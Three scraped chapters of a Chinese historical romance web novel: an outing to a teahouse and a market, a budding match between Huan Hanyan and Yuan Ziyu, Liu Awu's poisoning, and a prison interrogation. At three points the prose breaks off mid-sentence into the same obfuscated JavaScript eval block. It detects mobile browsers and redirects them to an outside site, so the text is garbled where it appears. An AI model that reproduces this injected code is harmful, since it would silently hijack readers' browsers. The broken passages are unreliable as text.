竟是为了这个,阿五笑了,“自然是有,不过这还未足日子,到了自然会发给你。” “多少。”沈月棠两眼放光追着问。 一旁桓含嫣鄙夷地别过脸去,阿五失笑,“按照府中规制,你算是大公子的外室只有三两银子,可毕竟现在接进府中生活且怀了身孕,增加了一倍,每月六两。” 已经很不少了。 沈月棠笑了,看来也是满意的。 “我听她们说生下孩子还会有更多赏赐,会有宅院吗,田地呢,银钱能有多……” 阿五皱眉打断她的话,“这些不是现在说的时候,到时候自然侯爷和夫人会有安排。” 沈月棠看她面色不悦,也不多问反正目的达到了,到了谢转身便走了。 这算是一个小小的插曲,阿五并未放在心上,那鸡汤闻着的确浓香,看着像是小厨房做的,既然都做了便不能浪费。 午食用饭阿五倒是全喝了,配上珍珠的一桌子精致菜肴二人吃得十分满足。 瞧了瞧时辰,今日午食用的较早,阿五心里盘算着这个时候桓晏应当不会回来,于是拉着含嫣出府。 出门去逛逛散散心,也能聊得更畅快些。 这些日子憋在府里不是看账本算账查验核销,就是练字读书,实在乏味了,阿五也想出门去透透气。 谁知二人刚迈出府门迎面就撞见桓晏带着昌平回来。 “二哥哥。”桓含嫣行礼问安。 桓晏还礼眼神看向一旁被抓包仍旧一脸理直气壮的柳阿五。 “这是要去哪里?” 桓含嫣知道二哥哥对阿五十分严苛,赶紧道:“是因为我的事,阿五想要宽慰我打算出门去散散心。” 两位小娘子出门逛实属平常,桓晏并未反对,稍作思忖道:“听说六妹妹茶艺颇好,不知今日能否有幸领略一二,若是不嫌弃,我带你们去个地方。” 25. 骗子 真是诸事不宜的一天。 面对冷面当家人看似不怎么热情却又没法推辞的邀约,两位小娘子硬是从垮掉的脸上挤出一丝假笑。 桓晏全当没看见,吩咐昌平:“让小以准备上间和好茶。” 昌平速速离去。 隐世阁啊,阿五腹诽,那是小娘子们适合去的地方吗。 心里如是想着,面上却不敢表露半分,再去看桓含嫣,她也是一脸皮笑肉不笑的样子。 其实桓含嫣之所以不怎么愿意同桓晏一道出门,完全是因为对于这位二哥哥还不怎么熟悉。 但是这些日子相处下来,她也发现这位二哥哥除了面上冷了一些,人看着不怎么好说话以外,其实对待她和其他兄弟姐妹都是一视同仁的。 这可是同府中的其他人大大地不同。 起先她还以为是二哥哥没弄清楚她们的身份,她只是妾室庶出,地位远不如嫡母所出的大哥哥和三姐姐。 但是姨娘却说:“他可是陛下亲封的皇城使,人精,怎么可能看不懂。” 桓含嫣记得当时姨娘的眼神看着窗外落在风雨中的残花,语气颇有些惆怅地说了一句,“他们母子就是这样的人,待谁都一样好。” “谁母子?” 桓含嫣再问的时候,姨娘却怎么都不肯说了,好像触碰了什么了不得的禁忌,三令五申让她烂在肚子里这话断不可再提。 马车辘辘前行,桓晏骑马走在前头,桓含嫣的思绪飞出去再收回来,转头看向阿五时发现她正愣愣地发呆。 “你怎么了?”桓含嫣关切地询问,“可是哪里不舒服。” 不舒服,哪里都不舒服,跟那个人在一起就浑身难受。 “没有。”阿五宽慰她,猛然想起什么,问:“其实,你二哥哥如今当家,你的事不妨让他帮你想想法子。” 阿五之所以会冒出这样的想法也是觉得,虽然他们都姓桓,可在某些方面桓晏同桓府的其他人还是有区别的,比如…… 他对于身份规矩就十分不屑也不甚在意,柳阿五发现桓晏对待恪守本分的下人就十分关照宽容,而且对待弟妹也一碗水端平。 或许呢,毕竟是含嫣亲哥哥。 桓含嫣点了点头,“我姨娘原本也是这个意思,可是现在爹爹和母亲都已经商定了,若是再去跟二哥哥说岂不是叫他左右为难。” 哦,这意思是说得有些晚了。 若桓晏帮了她就是忤逆了侯爷和夫人,说不定又是一场家庭纠纷,若是桓晏不愿帮她,多少显得有些没尽兄长之责了。 “其实若是大哥哥在,也不会帮我的。” 这是桓含嫣默默嘀咕的一句,阿五想了想,不好评价。 马车停下,二人下车,果然是隐世阁。 桓含嫣这是第一次来,从进门到三楼再到雅间里,整个人都处于兴奋惊喜的状态,对翩翩起舞还能同看客调笑互动的胡姬惊讶,对别出心裁的茶艺叹息,对整个茶楼的布置和装潢震惊,最让她觉得不可思议的是,竟然这么多人。 当听说日日都如此的时候,更是兴奋得不行。 “茶艺讲究静,我学的便是此道,像这样宾主尽欢的热闹茶楼还是第一次见,新奇得很。”桓含嫣的烦心事好似抛去了大半,忽又问柳阿五,“阿五可曾来过。” 陡然被点到名字,阿五想起上一次自己在这里对桓晏为求自保使尽手段地逗弄,不免有些脸红。 正踌躇着不知如何开口,就听前面桓晏答道:“她来过。” 河边无青草,哪来多嘴驴。 阿五狠狠瞪了一眼桓晏,赶紧对着惊讶的桓含嫣解释道:“曾经受夫人命来寻二公子的。” 算是给他一个小小的暗示和警告,再这样整我就拉你一起下水。 桓含嫣未作他想,点了点头就看到进来一个人。 说是谪仙下凡有些夸张,可是那男子眉眼含春目光如水,一身素净白袍非锦衣华服却丝毫不显寒酸窘迫,穿在他身上甚至胜似珠光宝气的富贵模样,风流倜傥又超凡脱俗。 他一手执扇撩袍坐下,举手投足间尽显潇洒飘逸,看得桓含嫣愣住了。 袁子与今日本不想来这隐世阁,这场春闱他赚了不少,打算趁着天气还不是特别炎热出去游山玩水领略大好风光,却被桓晏提溜过来。 “我说,你究竟何时才能放过我。” 袁子与进门就炮轰死党,倏然闻到一股清新淡雅的茶花香,这才仔细看去发现桓晏对面坐了两位仙女一样的小娘子。 一位眉眼如画倾国倾城,另一位气韵高雅清新脱俗。 他更留意了后者,尤其这位小娘子的双眼中迸发出来的温柔清澈的光,让袁子与立时哑口,甚至都忘了去责难桓晏。 “这位是我的六妹妹。”桓晏介绍,“含嫣。” 桓含嫣红着脸起身行礼后看向桓晏。 桓晏道:“你叫他小……” “在下袁子与。”袁子与不等桓晏的话说完主动起身朝桓含嫣恭恭敬敬地长揖行礼。 二人一个含羞带怯,一个手足无措,就这样行完了礼后尴尴尬尬地站在原地,眼神飘忽面红耳赤。 桓晏看了看袁子与少有地窘迫模样,嘴角微微上扬后对柳阿五道:“你不是说要采买一些东西吗,我陪你先去,不然买不到了。” 柳阿五:…… 啊,我吗,买什么。 见她怔愣愣地坐着不动,桓晏伸出长臂将她拉着起身后又将她的小手攥在手心里,旋风似的出了门。 一脸懵的阿五不明所以,待反应过来的时候就已经走在大街上身处人群中了。 “你,你带我来这里做什么。” 阿五十分不解,回头看看隐世阁,“含嫣还在里头,我不能丢……” 想要抽回手才发现自己的手被桓晏攥得紧紧的。 一张脸瞬间发热,“你……” “不是我,是我们。”桓晏把她的手攥得更紧了,“六妹妹很安全,你就不要杵在那里碍事了。” “我们去逛逛。” 他说得悠闲自在,力气大得拉着她往前走。 可是柳阿五根本就不想跟他一起逛,况且这么多人他非要拉着她的手,万一被人瞧见了…… 阿五拼命挣脱,“你先松开我,我自己能走。” 小娘子使出了浑身的力气,桓晏回头看了一眼她涨红的脸色和不安的神情,这才慢慢松了手。 阿五好容易挣脱他,揉着酸痛的手腕道:“既然二公子有闲情雅致,那我就不打扰了,我先回府……” “也好。”桓晏打断了她的话,“我叫昌平送你,回去多练十张字,顺便再把上次欠的五百个沙袋推做了。” 柳阿五:…… 真想拔下那簪子在他身上戳几个窟窿。 “为什么。” “不为什么,我乐意。”他说得漫不经心,“要么逛街要么回去任罚,你选。” 阿五:…… “逛街,还有什么附加要求?”阿五十分警惕地看着他的脸色,想要从中窥探出其不可告人的秘密,“一次性说完吧。” 桓晏愣了一下,旋即笑出了声。 他笑了,他竟然还有脸笑。 一定是被勘破目的后掩饰尴尬。 阿五瞪着眼没好气地看着他。 “没有。”桓晏说完又一次猝不及防地抓起她的小手,“走吧。” 阿五被他带着往前走,想要挣脱他的手却听他说:“别乱动,注意安全。” 他身量高大,走在阿五身前半步的位置,阿五看不清他的脸只能认命跟随。 初夏时节,天气晴好街市繁华。 两旁琳琅满目的小物件很快吸引了阿五的注意力,香料、绸缎、精巧的木器、实用的陶罐,让人应接不暇。 中间还穿插着各色诱人的美味,香喷喷的胡饼,热气腾腾的鸡汤馄饨,还有冰乳酪和甜酿果子,味道嘛,阿五尝了尝,自然是比不过珍珠的手艺,但胜在街头的氛围,吃起来就是唇齿留香。 走过了几条街,看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859835|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了小商铺也逛过了绸缎庄、首饰铺和胭脂水粉摊子,阿五什么都没买,不是不喜欢是不想浪费。 她的东西已经够多了,物尽其用才不会糟蹋了它们的好,不然就是暴殄天物。 阿五闲适地逛着,京城的街道南北通达东西相接,大街连着小巷,小巷汇入肠道,实在是丰富多彩。 十年了,阿五终于有机会出来逛一逛了。 虽然旁边的人不怎么让她舒适,可是可以不看他呀。 “你曾经来过?” 桓晏突然开口,阿五愣了一下不假思索道:“没有,自从入了侯府就没出过府。” 桓晏:…… 那九年前元宵节那晚是谁哭着求他,让他偷偷带着出门去看花灯来着。 她果然什么都忘了,上次欢好时呢喃说出的那些曾经还记得他的话,都是骗人的。 骗子,小骗子。 桓晏下意识捏紧了手,疼得阿五惨叫,“松开松开。” 她终于甩开了他的桎梏,吹了吹被他捏红了的地方又赶紧把手藏到身后,“我不跑,你不用如此,男女授受不亲,望二公子自重。” 说完小娘子不给他反应的机会转脸就走,雄赳赳气昂昂地走在了桓晏的前头,像一只打赢了架的大公鸡。 桓晏闭了闭眼,嘴角上翘,跟在了她的身后。 日影横斜,照在身上颇有点闷热。 前面大多数是卖菜的,桓晏寻到一处冰饮铺子买了一桶冰窖杨梅汁,再去找柳阿五发现她正站在一家卖香包的摊铺前,跟摊主婆婆聊着什么。 “这些香包驱虫辟邪,端午要到了姑娘买几个回去挂在家里吧。” 阿五点头,赞赏道:“婆婆手艺真好,这些香包做得很漂亮。” 桓晏走过来递给他杨梅汁,阿五很自然地接过来喝了一口随后又递到桓晏手里,心思全在香包上。 “买六个吧。”阿五算了算挑选了六个不重样的精致的香包,并嘱咐阿婆仔细包起来,“我是想要送人的。” 阿婆手脚麻利开始包装,阿五看着觉得非常赏心悦目,顺手接过喝了一口的梅子冰饮又猛喝了两大口,再递过去桓晏自然接住。 “一共六文。” 阿五掏出荷包却被桓晏抢先付了银子,一回头就看到那人正在喝梅子饮。 那是……她的梅子饮。 “我的饮子。”阿五惊讶,“你,喝的是我的。” 两个人共喝一杯吗,他不是有洁症吗,怎么…… 桓晏答非所问:“银子不用还了。” 随后又微微弯腰,附在她耳边低声道:“饮子抵了。” 阿五:…… 闪身退后,阿五再没心思计较那杯冰饮,也不想喝了。 桓晏无所谓道:“你已经喝了不少了,这东西寒凉对你身子不好,祛祛暑气便好,不宜多饮。” 阿五:…… 强词夺理,胡搅蛮缠。 二人一前一后走着,不知不觉身后的阳光将人影拉得老长。 已经出门逛了大半日了,太阳要落山了。 桓晏看着她没有再买其他的东西,忍了忍还是问道:“六个香包,买那么多作甚。” 阿五的心情因为逛街变得很好,掰着手指头细数:“送给我喜欢的人啊,含嫣一个,珍珠碧玉每人一个,我自己留一个,昌平一个,梁伯一个。” 六个,刚刚好。 桓晏:…… 昌平都有。 竟然昌平都有。 夕阳渐浓,晚霞笼罩,一片旖旎风光。 阿五觉得累了,回头道:“我们回去吧,我担心含嫣。” 桓晏这才回神,冷肃地“嗯”了一声,二人打道回府。 阿五:…… 这是,又生气了? “明日你将……” 桓晏想要给她安排明日的课业,被阿五斩钉截铁回绝了。 “不行,明日是入宫的日子。” 贵妃娘娘等着那个神秘的方匣子呢。 26. 中毒 又到了给贵妃娘娘送东西的日子了。 其实柳阿五也十分好奇,每次入宫无论送的是参汤还是钗镮首饰,亦或是补药人参,唯有那个紫檀木匣子是不变的。 上头的铜锁只有贵妃和谢氏能打开,究竟放了什么她并不知道。 方匣子并不重,晃一晃也听不出什么声响。 “那就打开看看。”桓晏倒是觉得不必如此费劲,“铜锁而已。” 阿五摇头,“被发现了遭殃的是我。” 她看着桓晏,眼神里是疏离和警惕,“我并不想参与到他们的事情当中,若是二公子有兴趣大可将我打晕抢过去,随你怎么砸开与我无关。” 说完也不理他,独自朝着隐世阁的方向而去。 桓晏挑眉,思索片刻后跟上了她的步伐。 此事就此揭过,自然,第二日柳阿五也并没有被人打晕,仍旧如往常一样带着匣子入宫。 贵妃看上去瘦了不少,哭着询问了侯府的情况,阿五一一详细应答,在听到谢氏病重时柳阿五发现贵妃若有所思地愣了一下,随即又问:“侯爷近来可好。” 阿五答:“一切都好,因着先前陛下对侯府的安抚,侯爷的心情好了大半。” 贵妃点头,这事她知晓。 桓伯承擅自出京回来后就同桓晏达成协议,让他掌家,桓晏也恳求陛下放了侯府一马,何止是放过,还赏赐了些许银钱珠宝以示重视。 为此侯爷对桓晏更加信重和依仗。 “你虽作为大郎的未亡人掌管内宅之事,可毕竟还年轻,若是不想被困在侯府一辈子本宫可以……” 贵妃娘娘话没说完,阿五也还在震惊中就听宋嬷嬷在一旁提醒,“娘娘该吃药了,那些个不该您操心的事,您就别管了,自个儿身子要紧。” 听着像是一句关怀,实则更像是让贵妃闭嘴。 阿五看了看贵妃的脸色,又看了看宋嬷嬷,她们之间的眉眼官司她看不懂,但贵妃的话却记在心里。 她为何要这样劝自己? 直到出宫回府,坐在了自己的躺椅上,柳阿五都未回神,一直在琢磨贤贵妃的话。 “你怎么了,魂不守舍的。”桓含嫣伸出手在阿五眼前晃了晃,“是谁欺负你了。” 阿五回神,瞪着眼睛看着她,片刻后才出了一口气,“没什么,想点儿事走神了。” 而后又想起什么坐直了身子拉着桓含嫣的手问:“那日你二哥哥直接带着我走了,我们再回去找你的时候说是那位袁公子带你吃饭去了,他可有欺负你。” 说完又十分不满,“你二哥真是,怎么能将你扔给一个外人呢。” 桓含嫣笑得娇羞,声音呐呐,“他不是外人,他是二哥最好的朋友,信得过的。” 阿五撇嘴,“男人说信得过未必信得过,还是得自己长眼睛长脑子。” 袁子与的样子又一次出现在眼前,桃花眼风流身,的确招人喜欢不假,可这种人靠不住。 “我晓得的,他是个不错的人。”桓含嫣声音很小,脸色发红。 阿五没注意到,劝她,“你才同他见了一次,不过谈论茶道契合而已就这般向着他说话,可见这个人厉害得很,你得当心。” 说完又转过头问她,“我觉得你的事还是可以找个机会同你二哥问一句。” 谁知桓含嫣一听这话脸更红了,嗯嗯地点头道:“我知道了,你就别操心了。” 阿五正色,“我怎能不操心,你若是当真别无他法,咱俩就一道走。” 说完招呼珍珠拿来她的匣子,打开给含嫣看。 “你瞧,这是我这些年攒下的,有的是大公子赏的,大部分都是月银和平日里做些手工换来的银子,不知不觉也攒了不少了,这些还只是一部分,我还有,到时候够咱俩在外头过一阵子,剩下的我们再想办法。” 桓含嫣惊讶不已,没想到她竟然能攒下这么多私房钱,而后又十分心疼,“阿五,这些年你一定过得很辛苦,不舍得花一分钱还要自己做手工。” 阿五摇头,“靠自己不辛苦,我有手艺,你字写得也好,到时候咱们一起赚银子过日子不用愁的。” “含嫣,你尽管放心,凡事我们尽力而为,真的不能如愿也不要责怪自己。” 桓含嫣点头,犹犹豫豫道:“其实我还是充满期待的。” 阿五诧异,“是吗。” “事情没到最后一步总是有转还的余地的。”桓含嫣不知想起了什么,娇羞一笑,“或许我会嫁给如意郎君,跟我喜爱的人一起过日子呢。” 转过头看着柳阿五,桓含嫣问:“阿五你憧憬那样的日子吗。” 什么日子,跟自己喜爱的人过一辈子吗,阿五摇头。 “憧憬未来,但是爱不爱的我觉得对我而言不重要,比起男人我更相信自己,相信自己的能力相信自己一个人也能过得很精彩,我还想去看看大夏的大好河山,去吃好多好吃的美味,这一生不拘于此不限未来,才不会白过。” 对于她的话,桓含嫣不甚明白,更不明白她为何不相信任何人,尤其是男人。 对桓含嫣而言,男人也有好的啊,比如……小以哥哥。 “啊啾”,小以打了个喷嚏,看了一眼一旁的冰桶揉了揉鼻子,“我说,这才刚入夏你就用上冰了,也太……” 桓晏抬眸瞟了他一眼,小以噤声。 “你来所为何事。” 袁子与素来不喜欢登门拜访,今日特意带了好茶叶来实在古怪。 “事出有异,必有妖。”桓晏不紧不慢地烹茶。 “哪里就有妖,我不过是……” 袁子与叹了口气,“好吧,我是为了你六妹妹来的,桓晏,大舅哥,我要娶她。” 对此桓晏毫无意外。 那日第一次见面桓晏就看出了袁子与对含嫣的不同,只是…… “你孤魂野鬼一般,连个府宅住处都没有,叫我妹妹去跟着你喝西北风吗。” “府宅还不好办,我又不是没银子。”袁子与立即从袖中掏出一沓银票,“这些年的银子没花,莫说三进院子,就是五进大宅咱也不在话下。” 这一点,桓晏相信,是以也不用看他的银票。 伸出两根手指,桓晏弹走了他的银票,十分不屑道:“拿走,莫要脏了我的地方。” “咦,桓晏,你说这话,我的银子都是自己赚来的没偷没抢,哪里脏。” 桓晏递给他一杯刚泡好的茶水,“没有长期稳定的收入,以何成亲养家,日后有了孩子,你养得起吗,难道要一辈子替人科考朝不保夕,或是被抓锒铛入狱,妻离子散家……” “呸呸呸,臭嘴。”袁子与恨不能用手捂住桓晏那张不饶人的破嘴。 但是话糙理不糙,袁子与心知肚明,自己的确没有稳定的收入来源,也无功名在身,这事桓晏劝过他许多次,可是浪荡子的日子多舒服,他不愿被束缚更不愿同那等让他鄙夷的人为伍。 二人都没说话,相对默默喝茶。 屋内光线明亮,窗前抬头就能看到树影和落花。 两盏茶后,袁子与才开口,“我想过了,为了含嫣我应当有一份差事,我也会好好做,给她一个家,将来还要给她挣个诰命,让她跟着我一辈子踏踏实实风风光光。” “且此生只有她一人。”桓晏抬眸看着他。 袁子与二话不说,点头,“这是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859836|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然。” 二人对视,笑容绽放。 “我来安排。”桓晏说,“贵人若是知晓你有此意,必然欣喜。” 袁子与是个有才干的,只是实在瞧不上官场上的那些蝇营狗苟,懒得应付不如得过且过。 现在既然为了含嫣愿意改变,想来是真的下定了决心。 “都因为看不惯而躲避,贵人何时才能成就抱负,官场何时才能澄清。” 桓晏看着他,伸出手抓住袁子与的手,“我六妹妹就交给你了,袁子与,你若叫她有一丝不爽……” 大手如铁钳,捏得袁子与得手要断掉了,疼得他嚎叫跳脚,连声求饶,“不会的,我保证,我拿身家性命保证,放手,快放手,断了……” 当日送走了袁子与,桓晏即刻入宫,再回来时已经帮他拿到了任命圣旨,中书舍人加知制诰衔,只不过,还需要他亲自去办一桩案子。 这份差事乃陛下亲命,天子近臣伴驾左右负责起草诏书等,十分适合袁子与的才干,也好叫他收敛心性。 虽品级不高却随侍天子,故而是多方势力和众位臣工争相结交的热门人物。也符合了袁子与的性格,不必刻意跟同僚打交道,到时候他想理谁就理谁,不喜欢的人不搭理人家也不敢说什么。 圣旨在手,桓晏十分欣慰,脚步都较平日轻快了许多。 进门一抬头便看到站在书房门口的柳阿五。 昌平还未来得及禀报二人已经见面了,忙行礼道:“阿五姑娘等主子小半个时辰了。” 桓晏看着昌平,腰间果然挂了一个端午香囊。 “真丑。” 昌平:…… 啊,我丑吗? 大门被关上,屋内亮起烛灯,只留下昌平一人在风中凌乱。 “我来交课业。”阿五呈上账册,如今她的账册核验已经做得很熟练了。 说完抬头看了一眼桓晏,发现他好像眼角带笑,看来今日心情不错。 于是,小娘子莲步轻移绕过桌案站在桓晏身边,伸出手拉扯他的袖袍,“古人云,绝知此事要躬行。如今账册我已经做好了,只是没机会去看看,库房啊,庄子啊,铺子啊,还有那外地的……” 桓晏了然。 往日见了他恨不能距离他十万八千里,今日主动往身边凑,果然,柳阿五还是柳阿五,有求于他才会放下身段。 深邃冷冽的眼神看过来,阿五抬眸对上,“二公子可否带我去看看库房。” 她想找一找如同桓素娥头上那玉簪一样的东西,或许能记起什么,查起来也好有个头绪。 “哦?”桓晏挑眉,“拿什么来换,你……” 阿五吓得往后一跳,“我做了人参枸杞汤,给二公子补补身子。” 小娘子转身打开食盒,刚要端起汤羹就觉身后一股温热的气息覆过来,男人的大手环住了她的腰肢。 “不如喝完汤今晚……” “不可。”阿五克制自己抖动的双手,将汤羹放下,咬了咬牙假笑道:“来了月事。” “哦?” 桓晏长长一声,尾音带着调侃和疑惑。 “那,那我先走了,二公子想好了再告诉我。” 小娘子落荒而逃。 刚迈出去两步,就听身后桓晏道:“过几日去看。” 脚步一顿,回身草草一礼转身就不见了踪影。 像个森林中欢快跳跃的小鹿,每一步都撞在了身后人的心巴上。 月色皎皎,银辉洒落。 桓晏慢条斯理地细品那参汤,味道鲜美笋嫩肉滑,不免想起某人的…… 就在此时,昌平急匆匆而来,“主子,阿五姑娘中毒了。” 27. 凶手 柳阿五中毒是下晌午被发现的。 彼时珍珠正在小厨房里忙活着烤猪蹄,只因午食阿五提了一嘴说是想吃。 碧玉看着天色已晚,平日这个时候姑娘午睡早该起床了,今日不知怎么了。 推门去看,屋里安静得很,越过屏风掀开帐帘都未觉得有何不妥,只是叫了几声发现阿五睡得实在沉,再凑近细看才发现她面色苍白额角冒汗,双目紧闭,轻唤她名字会有反应却醒不过来,更像是魇着了。 碧玉跟随桓晏身边多年,学了些诊脉的浅显功夫,这一搭脉才发觉不对,脉象虚弱跳动乏力,当下便赶紧禀报了桓晏。 “因事出紧急奴婢不敢惊动他人,连院子里的丫鬟小厮也未曾告知,便匆匆过来了。” 桓晏脚步急促匆匆在前,碧玉一路小跑一边努力跟上他的步伐一边禀报整个情况。 还未见过主子脚步如此快过。 碧玉心里一闪念就听桓晏问:“午食吃了什么。” “珍珠丸子,醋熘鳝片,桂花糯米藕和鸡汤。”碧玉详细说明,“前几样是珍珠亲手做的,鸡汤是小厨房炖的。” 说罢见桓晏未发言,便又补充,“这几日姑娘常吃这些。” 都是寻常不过的菜肴,经手的又都是信得过的人,为何就出了岔子。 “可是食物相克出了问题。” 转过垂花门,桓晏的脚步已经迈进了翠竹轩。 “没有,这一层主子您吩咐过,是以咱们做点心饭食的时候都让姜太医看过,并无相克食物。” 眼看着长腿即将迈入大门,碧玉快跑了两步到桓晏身前躬身掀开门帘,请主子进去,看了一眼屋内,守着柳阿五的珍珠正跪在床边掖泪,看到碧玉的眼神,朝桓晏行了个礼默默退出房间。 下午的斜阳照进屋内,金灿灿的落在床帏和衾被上,绸缎光滑富贵的质地被放大,越发显得躺在被子里的人苍白柔弱。 桓晏净了手卷起衣袖,重新换了干净的冷水和锦帕,坐在阿五的床榻边,伸出大手想要摸摸她无血色的小脸却又停住了。 反手用两指探了探她额上的温度,冰冷。 还以为她会发热。 显然这个结果让桓晏很不安,若是发热就好了。 今日姜太医当值,昌平入宫去请人一来一回也要半个多时辰,桓晏蹙眉掀开衾被将阿五的胳膊放在被子外面露出一截雪白冰凉的手腕。 微微发颤的指尖搭在纤细的雪腕之上,桓晏竟然探了几次都未找准脉搏。 握拳,攥得骨节发白,桓晏闭目深吸一口气强迫自己冷静下来。 片刻后才缓缓松了拳头,重新搭脉。 浮时忽一沉,如鱼翔之似有似无。 七绝脉之一。 那一刻,随着指尖传来的冰冷感,桓晏整个人如落冰窖。 望着眼前紧闭双目丝毫没有反应的柳阿五,桓晏脑子里涌起许多回忆。 五岁的小娘子第一日入府,明亮清澈的大眼睛里闪着光芒,让人见之难忘。 那是桓晏第一次见柳阿五。 再见时已是数月之后,那璀璨闪烁的光芒荡然无存,小娘子也变得拘谨守礼却眸色暗淡。 只有头上绑着漂亮丝带的两个小揪揪一颤一颤地,依稀可辨初来时那个活泼开朗天真烂漫的小姑娘。 “你再欺负我,我就让你好看。” 这是柳阿五同他说的第一句话,小娘子怒目圆睁面色发红,眼睛里冒火却又泛起泪光。 就是这个眼神,让桓晏自责许久,才会在她被夫人责罚一个人贵跪在祠堂里,央求他带她出去看一眼这京城的元宵节时,桓晏不假思索地答应了。 她说:“阿爹阿娘每年都会在元宵节带她看灯,或许能遇见她的阿爹阿娘。” 傻傻的小娘子什么都不懂,她早已离开家乡离开她的爹娘,怎么可能再遇见。 那一晚,桓晏给阿五买了灯,她却翘首以盼仔细去看每一个路过的男男女女。 桓晏知道她在认真地寻找她的爹娘,也知道她不可能找到。 那时的柳阿五满心满眼都是爹娘和家,根本没有看见过这个时不时招惹她生气,揪掉她的发髻上丝带惹得她狼狈大哭的小郎君。 或者说,初到侯府几年的阿五都没有对任何人在意过,一心只想爹娘只想回家。 后来她变了,变得没了期盼没了生气,安安心心地留在这里任人搓磨。 什么时候变的,桓晏不知,因为他们那时的相遇很短暂,以至于阿五对他还未有什么印象,他和他的母亲就出事了。 “主子,姜太医来了。” 门外匆匆的脚步声和昌平的禀报让桓晏收回思绪,稳了稳心神起身去开门。 二人在看到桓晏脸色的时候皆是一惊,姜太医行了个礼话不多说匆匆入内,昌平欲言又止还是没有开口。 跟了桓晏十多年,昌平第一次在桓晏的眼神里看到了痛苦和无助。 屋内静默,姜太医凝眉面色肃然。 片刻后看向桓晏。 “七绝脉。”桓晏开口,像是要证实。 姜太医点头,“心律紊乱,命绝之脉,最多七八日生息。” 无声无息,仿佛心跳都停了下来。 乌金西坠,墨色渐浓。 门外珍珠和碧玉的哭声难掩,丫鬟小厮跪了一院子。 屋内燃起烛火,跃动的光线下,阿五的神情越发沉静无息。 许久之后,桓晏才开口,“三日内所有的吃食和接触过的人,统统带过来问话。” 声音沙哑,双眼发红,像要吃人的凶兽。 而后又看向姜太医,“灵丸,可能救她。” 姜太医一凛,忙劝阻,“使不得,那是陛下赏赐给您的救命弹丸,仅有一颗……” “姜太医。”桓晏打断了他的话,眼神灼灼又充满希望地看着他。 姜太医闭嘴,咬牙点了点头。 桓晏如释重负,看向一旁候命的昌平。 那颗灵丸乃神医局给陛下所制的救命丸药,因桓晏救驾有功身负重伤后,陛下赐了两颗给他,一颗当场服用保住了命,现只存一颗以备不时之需。 “主子……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859837|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>昌平想劝,毕竟那药丸陛下也没有了。 可是看到桓晏决绝的眼神再看看床上无声无息的柳阿五,昌平还是领命去取了。 翠竹轩升堂问案,所有来过的人都被一一问话,包括桓含嫣。 此事被桓晏封住,是以府中还无人得知,含嫣过来知道情况后难过地痛哭流涕连声自责,在问清楚情况后桓晏便让她进去照顾阿五了。 多一个她信得过的人陪伴在旁,或许能快一点醒过来。 终于,在一个时辰后,桓晏将目标锁定了,沈月棠。 “来人,将沈氏押解至皇城司刑狱。” 一声令下桓晏起身,沈月棠呆若木鸡当场昏死过去。 待再次醒过来的时候,沈月棠闻到了一股刺鼻的骚气和浓重的令人作呕的血腥气。 因怀着身孕的缘故,她足足呕了一盏茶的工夫,简直把这几日吃下去的东西都吐了出来。 整个人虚脱无力,面色苍白。 桓晏没有给她上刑枷,只将人捆着坐在椅子上。 “说吧。”桓晏手执卷起的刑鞭,一下一下敲打着自己的手心。 “说什么,你凭什么说是我给她下的毒,那鸡汤都不是我做的,就算下毒也是厨房里的人……” “带上来。” 对面男人一身皇城使官服,烛火笼罩下的脸庞明暗相接,眼神凶狠活像个厉鬼。 沈氏开始忍不住地发抖。 一旁亲从官抬着一个门板过来,上头盖着一块白布,下面是死人。 “或许这尸体是你认识的人。” 阴冷幽暗的刑狱中,桓晏的脚步一下一下慢悠悠地逼近沈月棠。 “什么,什么尸体。” 沈月棠的声音在发颤,面色白得不像活人。 “唰”的一声,白色的盖布被揭开,沈月棠吓得惨叫连连浑身颤抖却下意识闭了眼。 她实在太怕了。 桓晏看了昌平一眼,昌平上前扭过沈月棠的头对着尸首。 “你若不看便将这人抬到你鼻子底下,凑近了闻一闻……” “不要,我看,我看。”沈月棠哭得涕泪横流,瑟瑟抖着睁开双目朝那尸首看去。 桓晏的眼神一瞬不错地盯着她,直到看到她眼中闪烁着光全身骤然一松,便知是她。 “不认识。”沈月棠如释重负。 桓晏示意昌平,昌平命人将尸首抬下去,没有任何征兆地另一具尸体在没有盖布的情况下出现在了沈月棠面前。 这一次沈月棠彻底崩溃了,双目充血面庞狰狞哭得撕心裂肺。 “铮哥,铮哥。” 她喊着那人的名字,又一次晕了过去。 这一次桓晏让人给她松了绑,待她再次醒来的时候身处在一个房间里,简单坚硬的床铺和简陋的桌椅陈设。 夜色浓稠,烛灯跃动,沈月棠发红的双眼泪流不止。 “铮哥……” 